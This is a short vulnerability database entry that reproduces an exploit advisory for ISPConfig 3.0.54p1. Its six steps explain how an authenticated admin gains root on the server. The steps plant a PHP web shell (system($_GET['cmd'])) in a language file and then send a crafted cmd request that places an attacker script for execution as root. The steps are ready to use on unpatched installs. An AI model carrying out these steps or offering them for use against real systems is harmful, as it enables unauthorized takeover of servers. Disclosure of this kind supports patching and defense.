ISPConfig 3.0.54p1 - Authenticated Admin Local root Vulnerability

ID SSV:87173
Type seebug
Reporter Root
Modified 2014-08-04T00:00:00


No description provided by source.

                                                # Exploit Title: ISPConfig 3 authenticated admin Localroot vulnerability
# Date: 7/25/14
# Exploit Author: mra
# Vendor Homepage:
# Version: 3.0.54p1
# Tested on: ubuntu, centos
# #elite-chat
While logged in as admin user:
1) add a shell user
2) under option set gid to ispconfig
3) log in as that user
4) edit /usr/local/ispconfig/interface/lib/lang/en.lng with system($_GET['cmd']);
5) browse to: http://server:8080/index.php?cmd=echo /tmp/script >>/usr/local/ispconfig/server/
6) create /tmp/script and put a command you wish to be executed as root.